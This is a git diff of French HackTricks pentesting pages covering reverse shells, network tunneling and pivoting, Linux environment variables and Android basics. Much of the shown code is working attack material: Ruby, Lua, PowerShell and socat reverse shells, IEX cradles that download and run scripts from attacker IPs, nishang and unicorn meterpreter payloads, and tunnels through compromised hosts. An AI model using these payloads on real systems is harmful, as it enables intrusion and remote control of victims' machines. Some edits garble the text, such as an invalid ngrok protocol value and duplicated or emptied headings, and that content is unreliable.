```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua is a powerful, efficient, lightweight, embeddable scripting language. It is often used in the context of game development, but it can also be used for general-purpose scripting. Lua scripts can be executed within a Lua interpreter or embedded into other programs written in languages such as C or C++. Lua scripts can be used to automate tasks, extend the functionality of a program, or even create standalone applications. Lua is known for its simplicity and flexibility, making it a popular choice among developers for various applications.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -82,14 +90,14 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Processus effectuant un appel réseau : **powershell.exe**\
|
||||
Charge utile écrite sur le disque : **NON** (_du moins nulle part où j'ai pu trouver en utilisant procmon !_)
|
||||
Charge utile écrite sur le disque : **NON** (_du moins nulle part que j'ai pu trouver en utilisant procmon !_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Processus effectuant un appel réseau: **svchost.exe**\
|
||||
Charge utile écrite sur le disque: **Cache local du client WebDAV**
|
||||
Processus effectuant un appel réseau : **svchost.exe**\
|
||||
Charge utile écrite sur le disque : **cache local du client WebDAV**
|
||||
|
||||
**En une ligne:**
|
||||
**En une ligne :**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
@ -379,7 +387,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
Dans le dossier **Shells**, il y a beaucoup de coquilles différentes. Pour télécharger et exécuter Invoke-_PowerShellTcp.ps1_, faites une copie du script et ajoutez à la fin du fichier:
|
||||
Dans le dossier **Shells**, il y a beaucoup de shells différents. Pour télécharger et exécuter Invoke-_PowerShellTcp.ps1_, faites une copie du script et ajoutez à la fin du fichier:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
@ -438,7 +446,7 @@ Créez une version powershell de la porte dérobée metasploit en utilisant unic
|
|||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
Commencez msfconsole avec la ressource créée :
|
||||
Lancez msfconsole avec la ressource créée :
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
|
@ -464,6 +472,12 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS avec quelques modul
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -472,7 +486,7 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -5,13 +5,21 @@
|
|||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Astuce Nmap
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -66,9 +74,9 @@ Port local --> Hôte compromis (SSH) --> Partout
|
|||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Transfert de port inversé
|
||||
### Transfert de port inverse
|
||||
|
||||
Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes à travers une DMZ vers votre hôte :
|
||||
Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes à travers une DMZ vers votre hôte:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
|
@ -77,7 +85,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||||
```
|
||||
### Tunnel VPN
|
||||
### VPN-Tunnel
|
||||
|
||||
Vous avez besoin de **root sur les deux appareils** (car vous allez créer de nouvelles interfaces) et la configuration de sshd doit autoriser la connexion en tant que root :\
|
||||
`PermitRootLogin yes`\
|
||||
|
@ -122,7 +130,7 @@ portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
|||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS (Socket Secure) est un protocole de tunneling qui permet de transférer des données à travers un réseau de manière sécurisée. Il peut être utilisé pour contourner les pare-feu, accéder à des ressources réseau internes depuis l'extérieur ou masquer la véritable adresse IP de l'utilisateur.
|
||||
### SOCKS
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
|
@ -132,15 +140,17 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
```
|
||||
### Tunneling and Port Forwarding
|
||||
|
||||
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data into another protocol to create a secure communication channel. Port forwarding, on the other hand, is a technique that redirects a communication request from one address and port number combination to another while the data is in transit.
|
||||
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in another protocol to ensure its secure transmission. Port forwarding, on the other hand, is a technique that redirects a communication request from one address and port number combination to another while the data packets are in transit.
|
||||
|
||||
#### Tunneling
|
||||
|
||||
Tunneling can be used to bypass firewalls and access restricted networks. It creates a secure connection between the source and destination by encapsulating the data in a different protocol. This can help in maintaining privacy and security while transmitting sensitive information over the internet.
|
||||
Tunneling can be used to bypass firewalls and access restricted networks. It creates a secure connection between the source and destination by encapsulating the data in a different protocol. This allows data to travel through unsecured networks as if it were traveling through a private network.
|
||||
|
||||
#### Port Forwarding
|
||||
|
||||
Port forwarding is commonly used in scenarios where a user needs to access a service that is behind a firewall or NAT device. By redirecting the communication request to a different port, it allows the user to access the service as if it were local. This technique is often used in remote access solutions and online gaming to establish direct connections between clients.
|
||||
Port forwarding is commonly used in NAT (Network Address Translation) environments to allow external devices to access services on private networks. It works by redirecting traffic from a specific port on a router to a specific internal IP address and port. This enables external users to access services hosted on devices within the private network.
|
||||
|
||||
Both tunneling and port forwarding are essential techniques in networking and cybersecurity for ensuring secure and efficient data transmission.
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
|
@ -157,7 +167,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### Proxy SOCKS
|
||||
|
||||
Ouvrez un port dans le teamserver écoutant sur toutes les interfaces qui peut être utilisé pour **routage du trafic à travers le beacon**.
|
||||
Ouvrez un port dans le teamserver écoutant sur toutes les interfaces qui peuvent être utilisées pour **router le trafic à travers le beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -187,7 +197,7 @@ rportfwd_local stop [bind port]
|
|||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Vous devez télécharger un tunnel de fichier web : ashx|aspx|js|jsp|php|php|jsp
|
||||
Vous devez télécharger un fichier tunnel web : ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
|
@ -247,7 +257,13 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```
|
||||
### Port2Port
|
||||
|
||||
### Port2Port
|
||||
#### Port Forwarding
|
||||
|
||||
Port forwarding is a technique used to allow external devices to access services on a private network. It involves forwarding network traffic from one network port to another. This can be useful for accessing services on a remote network or for exposing a local server to the internet.
|
||||
|
||||
#### Tunneling
|
||||
|
||||
Tunneling is a method used to transfer data securely across networks. It involves encapsulating the data in an additional layer of security protocols, allowing it to pass through networks that may have restrictions or security measures in place. Tunneling can be used to bypass firewalls, access restricted content, or secure communications over untrusted networks.
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
|
@ -273,7 +289,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
|||
|
||||
### Tunnel SSL Socat
|
||||
|
||||
**Console /bin/sh**
|
||||
**/bin/sh console**
|
||||
|
||||
Créez des certificats des deux côtés : Client et Serveur
|
||||
```bash
|
||||
|
@ -301,7 +317,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
C'est comme une version console de PuTTY (les options sont très similaires à un client ssh).
|
||||
|
||||
Comme ce binaire sera exécuté sur la victime et qu'il s'agit d'un client ssh, nous devons ouvrir notre service ssh et notre port afin de pouvoir établir une connexion inversée. Ensuite, pour rediriger uniquement un port accessible localement vers un port sur notre machine :
|
||||
Comme ce binaire sera exécuté sur la victime et qu'il s'agit d'un client ssh, nous devons ouvrir notre service ssh et notre port pour pouvoir établir une connexion inversée. Ensuite, pour rediriger uniquement un port accessible localement vers un port sur notre machine :
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -325,7 +341,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
Vous devez avoir **un accès RDP sur le système**.\
|
||||
Téléchargement :
|
||||
|
||||
1. [Binaires SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Canaux Virtuels Dynamiques` (`DVC`) de la fonctionnalité de Service de Bureau à distance de Windows. DVC est responsable du **tunneling des paquets sur la connexion RDP**.
|
||||
1. [Binaires SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable du **tunneling des paquets sur la connexion RDP**.
|
||||
2. [Binaire Portable Proxifier](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Chargez **`SocksOverRDP-Plugin.dll`** sur votre ordinateur client comme ceci :
|
||||
|
@ -333,13 +349,13 @@ Chargez **`SocksOverRDP-Plugin.dll`** sur votre ordinateur client comme ceci :
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Maintenant, nous pouvons **se connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le **plugin SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**.
|
||||
Maintenant, nous pouvons **se connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le plugin **SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**.
|
||||
|
||||
**Connectez-vous** via **RDP** et téléchargez et exécutez sur la machine de la victime le binaire `SocksOverRDP-Server.exe` :
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Maintenant, confirmez sur votre machine (attaquant) que le port 1080 est en écoute :
|
||||
Maintenant, confirmez sur votre machine (attaquant) que le port 1080 écoute :
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
|
@ -354,7 +370,7 @@ Dans **Profil -> Règles de proxification**, ajoutez le nom du programme à prox
|
|||
## Contournement du proxy NTLM
|
||||
|
||||
L'outil mentionné précédemment : **Rpivot**\
|
||||
**OpenVPN** peut également le contourner, en définissant ces options dans le fichier de configuration :
|
||||
**OpenVPN** peut également le contourner, en définissant ces options dans le fichier de configuration:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
|
@ -363,7 +379,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Il s'authentifie contre un proxy et lie un port localement qui est redirigé vers le service externe que vous spécifiez. Ensuite, vous pouvez utiliser l'outil de votre choix via ce port.\
|
||||
Par exemple, pour rediriger le port 443.
|
||||
Par exemple, rediriger le port 443.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -371,7 +387,7 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Maintenant, si vous définissez par exemple sur la victime le service **SSH** pour écouter sur le port 443. Vous pouvez vous y connecter via le port 2222 de l'attaquant.\
|
||||
Maintenant, si vous configurez par exemple sur la victime le service **SSH** pour écouter sur le port 443. Vous pouvez vous y connecter via le port 2222 de l'attaquant.\
|
||||
Vous pourriez également utiliser un **meterpreter** qui se connecte à localhost:443 et l'attaquant écoute sur le port 2222.
|
||||
|
||||
## YARP
|
||||
|
@ -421,13 +437,13 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
```
|
||||
#### Changer le DNS de proxychains
|
||||
|
||||
Proxychains intercepte l'appel libc `gethostbyname` et tunnelise la requête DNS tcp à travers le proxy socks. Par **défaut**, le serveur **DNS** que proxychains utilise est **4.2.2.2** (en dur). Pour le changer, éditez le fichier : _/usr/lib/proxychains3/proxyresolv_ et modifiez l'IP. Si vous êtes dans un environnement **Windows**, vous pouvez définir l'IP du **contrôleur de domaine**.
|
||||
Proxychains intercepte l'appel libc `gethostbyname` et tunnelise les requêtes DNS tcp à travers le proxy socks. Par **défaut**, le serveur **DNS** utilisé par proxychains est **4.2.2.2** (en dur). Pour le changer, éditez le fichier : _/usr/lib/proxychains3/proxyresolv_ et modifiez l'IP. Si vous êtes dans un environnement **Windows**, vous pouvez définir l'IP du **contrôleur de domaine**.
|
||||
|
||||
## Tunnels en Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## Tunneling ICMP
|
||||
## Tunnel ICMP
|
||||
|
||||
### Hans
|
||||
|
||||
|
@ -458,7 +474,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||
```
|
||||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/) est un outil pour exposer des solutions à Internet en une seule ligne de commande.**
|
||||
**[ngrok](https://ngrok.com/) est un outil pour exposer des solutions sur Internet en une seule ligne de commande.**
|
||||
*Les URI d'exposition ressemblent à:* **UID.ngrok.io**
|
||||
|
||||
### Installation
|
||||
|
@ -490,7 +506,7 @@ chmod a+x ./ngrok
|
|||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Sniffing HTTP calls
|
||||
#### Interception des appels HTTP
|
||||
|
||||
*Utiles pour XSS, SSRF, SSTI ...*
|
||||
Directement depuis stdout ou dans l'interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
@ -511,7 +527,7 @@ Il ouvre 3 tunnels :
|
|||
tunnels:
|
||||
mytcp:
|
||||
addr: 4444
|
||||
proto: tcp
|
||||
proto: tcptunne
|
||||
anothertcp:
|
||||
addr: 5555
|
||||
proto: tcp
|
||||
|
@ -524,6 +540,14 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Variables globales
|
||||
|
||||
Les variables globales **seront** héritées par les **processus enfants**.
|
||||
|
@ -47,7 +55,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
```
|
||||
## Variables courantes
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
De : [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – l'affichage utilisé par **X**. Cette variable est généralement définie sur **:0.0**, ce qui signifie le premier affichage sur l'ordinateur actuel.
|
||||
* **EDITOR** – l'éditeur de texte préféré de l'utilisateur.
|
||||
|
@ -88,7 +96,7 @@ Les processus utiliseront le **proxy** déclaré ici pour se connecter à Intern
|
|||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
```
|
||||
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
|
||||
### SSL_CERT_FILE & SSL_CERT_DIR
|
||||
|
||||
Les processus feront confiance aux certificats indiqués dans **ces variables d'environnement**.
|
||||
```bash
|
||||
|
@ -116,3 +124,23 @@ Un, deux et trois emplois en arrière-plan:
|
|||
Un travail en arrière-plan, un arrêté et la dernière commande n'a pas fini correctement:
|
||||
|
||||
![](<../.gitbook/assets/image (90).png>)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bases des applications Android
|
||||
# Bases des Applications Android
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,33 +6,41 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
||||
## Modèle de sécurité Android
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Modèle de Sécurité Android
|
||||
|
||||
**Il y a deux couches :**
|
||||
|
||||
- Le **système d'exploitation (OS)**, qui maintient les applications installées isolées les unes des autres.
|
||||
- L'**application elle-même**, qui permet aux développeurs de **exposer certaines fonctionnalités** et de configurer les capacités de l'application.
|
||||
* Le **système d'exploitation (OS)**, qui garde les applications installées isolées les unes des autres.
|
||||
* L'**application elle-même**, qui permet aux développeurs de **exposer certaines fonctionnalités** et de configurer les capacités de l'application.
|
||||
|
||||
### Séparation des UID
|
||||
|
||||
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela se fait lors de l'installation de l'application afin que **l'application puisse interagir uniquement avec les fichiers appartenant à son ID utilisateur ou des fichiers partagés**. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
|
||||
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela se fait lors de l'installation de l'application afin que **l'application puisse interagir uniquement avec les fichiers appartenant à son ID utilisateur ou aux fichiers partagés**. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
|
||||
|
||||
### Partage des UID
|
||||
|
||||
**Deux applications peuvent être configurées pour utiliser le même UID**. Cela peut être utile pour partager des informations, mais si l'une d'elles est compromise, les données des deux applications seront compromises. C'est pourquoi ce comportement est **déconseillé**.\
|
||||
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId`** dans leurs manifestes.
|
||||
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId` dans leurs manifestes.**
|
||||
|
||||
### Isolation
|
||||
|
||||
Le **bac à sable des applications Android** permet d'exécuter **chaque application** en tant que **processus séparé sous un ID utilisateur distinct**. Chaque processus a sa propre machine virtuelle, de sorte que le code d'une application s'exécute de manière isolée par rapport aux autres applications.\
|
||||
Le **bac à sable des applications Android** permet d'exécuter **chaque application** en tant que **processus séparé sous un ID utilisateur séparé**. Chaque processus a sa propre machine virtuelle, de sorte que le code d'une application s'exécute de manière isolée par rapport aux autres applications.\
|
||||
À partir d'Android 5.0 (L), **SELinux** est appliqué. Fondamentalement, SELinux a refusé toutes les interactions entre les processus, puis a créé des politiques pour **autoriser uniquement les interactions attendues entre eux**.
|
||||
|
||||
### Autorisations
|
||||
|
@ -40,31 +48,31 @@ Le **bac à sable des applications Android** permet d'exécuter **chaque applica
|
|||
